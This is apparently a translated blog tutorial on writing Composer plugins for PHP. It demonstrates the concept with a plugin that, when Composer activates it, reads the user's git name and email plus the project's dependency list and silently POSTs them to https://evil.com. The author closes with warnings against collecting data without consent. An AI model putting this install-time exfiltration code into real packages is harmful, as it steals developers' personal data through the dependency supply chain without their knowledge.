📜 ⬆️ ⬇️

The Intoxicating Power of Composer Plugins

Composer is the most important tool in the suite of modern PHP developers. The days of manual dependency management remained in the distant past, and such wonderful things as Semver took their place. Things that help us sleep at night, because we can update our dependencies without dropping everything around.
neanderthal smashing rocks

Although we use Composer quite often, not everyone knows how to expand its capabilities. Such an idea does not even arise, because he already does his job well by default, and it seems that it is not worth the time or effort to try or at least study. Even the official documentation bypasses this question . Probably because no one asks ...

However, recent changes have made plugin development for Composer much easier. Composer also recently moved from alpha to beta, perhaps the most conservative release cycle ever conceived. This tool, which changed the modern PHP world, made it the way we see it now. This is the cornerstone of PHP professional development. He just moved from alpha to beta.

So, today I thought that I would like to explore the possibilities of composer plug-ins, and create some fresh documentation along the way.
')
You can find the code for this plugin on Github .

Getting started


First of all, we need to create a repository with a plugin, separate from the application in which we will use it. Plugins are installed like regular dependencies. Let's create a new folder and put the composer.json file there:
 { "type": "composer-plugin", "name": "habrahabr/plugin", "require": { "composer-plugin-api": "^1.0" } } 

Each of these lines is important! We assign this plugin the composer-plugin type in order to have access to the Composer life cycle hooks that we will use.

We give the name of the plugin so that our application can add it to the dependencies. You can use all other variables at your discretion, but remember what you called the plugin, we will need it later.

You also need to add dependency with composer-plugin-api . This version is important because our plugin will be considered compatible with a particular version of the plugin API, which in turn affects things like the signature method.

Next, we need to specify the class for autoload of the plugin:
 "autoload": { "psr-4": { "HabraHabr\\": "src" } }, "extra": { "class": "HabraHabr\\Plugin" } 

Create a folder src with the file Plugin.php . Here is the code that will work on the first hook in the Composer life cycle:
 namespace HabraHabr; use Composer\Composer; use Composer\IO\IOInterface; use Composer\Plugin\PluginInterface; class Plugin implements PluginInterface { public function activate(Composer $composer, IOInterface $io) { print "hello world"; } } 

PluginInterface describes the existence of a public method activate , which is called after the plug-in is loaded. Let's make sure our plugin works. Go to our application and create composer.json for it:
 { "name": "habrahabr/app", "require": { "habrahabr/plugin": "*" }, "repositories": [ { "type": "path", "url": "../habrahabr-plugin" } ], "minimum-stability": "dev", "prefer-stable": true } 

This is much simpler than before, and more like how people will use your plugin. The best solution would be to release stable versions of your plugin through Packagist, but for now you are developing and so normal. The config tells Composer 'that you need to request any available versions of habrahabr/plugin and indicates the source for the dependency.

The path to the repository is relative, so Composer will automatically make symlink and take care of that. And since we are tied to unstable dependencies, let's specify the minimum required level as dev .

In such situations, it will still be preferable to use stable versions of libraries where this is possible ...

Now when you start composer install from the application folder you will see the message hello world ! And all this without any placement of code on github or Packagist .

I recommend using the rm -rf vendor composer.lock; composer install command rm -rf vendor composer.lock; composer install rm -rf vendor composer.lock; composer install during development, it will allow to reset the application / plugin to its original state. This is especially useful when you start working with installation folders!

Explore the possibilities


It is also a good idea to put composer/composer in the dependency, this will make it easier for us to work with interfaces and classes that we need in the future.

Most of what you learn about plugins can be found by looking at the source code for Composer . Alternatively, you can use a debugger and check the entire course of execution, starting with the activate method. Also, if you use an IDE, such as PHPStorm , the availability of source codes will make learning easier and help you easily navigate between your code and the dependency manager code.

For example, we can inspect $composer->getPackage() to see why this or that variable is needed in the composer.json file. Composer also provides the ability to ask questions during the installation process using $io->ask("...") .

Let's use it!


Let's start at last doing something practical and, perhaps, a little devilish! Let's make our plugin track user actions and dependencies that they require. Let's start by searching for their name and mail specified in git :
 public function activate(Composer $composer, IOInterface $io) { exec("git config --global user.name", $name); exec("git config --global user.email", $email); $payload = []; if (count($name) > 0) { $payload["name"] = $name[0]; } if (count($email) > 0) { $payload["email"] = $email[0]; } } 

User names and email addresses are usually stored in the global git config, the git config --global user.name , executed in the terminal, will return them. Having executed them through exec we will receive results in our plugin.

Now, let's track the name of the application (if defined), as well as a set of dependencies and their versions. Let's do the same for dev dependencies, let's make both groups a common method:
 private function addDependencies($type, array $dependencies, array $payload) { $payload = array_slice($payload, 0); if (count($dependencies) > 0) { $payload[$type] = []; } foreach ($dependencies as $dependency) { $name = $dependency->getTarget(); $version = $dependency->getPrettyConstraint(); $payload[$type][$name] = $version; } return $payload; } 

We get the name and version restrictions for each of the libraries and add them to the $payload array. Calling array_slice guarantees that there are no side effects of this method; if we repeatedly call, we will get exactly the same results.

Such a reasilation is often called the pure function , or an example of the use of immutable variables.

Now let's use this method and pass it arrays with dependencies:
 public function activate(Composer $composer, IOInterface $io) { // ...get user details $app = $composer->getPackage()->getName(); if ($app) { $payload["app"] = $app; } $payload = $this->addDependencies( "requires", $composer->getPackage()->getRequires(), $payload ); $payload = $this->addDependencies( "dev-requires", $composer->getPackage()->getDevRequires(), $payload ); } 

Finally, we can send this data somewhere:
 public function activate(Composer $composer, IOInterface $io) { // ...get user details // ...get project details $context = stream_context_create([ "http" => [ "method" => "POST", "timeout" => 0.5, "content" => http_build_query($payload), ], ]); @file_get_contents("https://evil.com", false, $context); } 

We could use Guzzle for this, but file_get_contents works just fine. In fact, all you need to do - POST request for https://evil.com with serialized data.

Be good


By no means do I urge you to collect user data in secret. But it may be useful to know how much data someone can collect using a simple dependency on a well-designed Composer plugin.

Of course, you can use the composer install --no-plugins option, but a lot of frameworks and content management systems depend on the plug-ins required to properly install them.

Some additional warnings:
  1. If you are going to use exec , filter and verify any data that is not hardcoded in the code. Otherwise, you create an attack vector for your code.
  2. If you are sending data, send it over HTTPS. Otherwise, other people will get to them.
  3. Do not track user data without consent. Ask a question before you start collecting, do it every time! Something like IOInterface::ask("...") is just what you need ...

Did this article help you? Perhaps you have an idea for a plugin; for example, your own plugin installer for libraries, or a plugin that downloads offline documentation for popular projects. Let me know in the comments below ...

Source: https://habr.com/ru/post/280744/


All Articles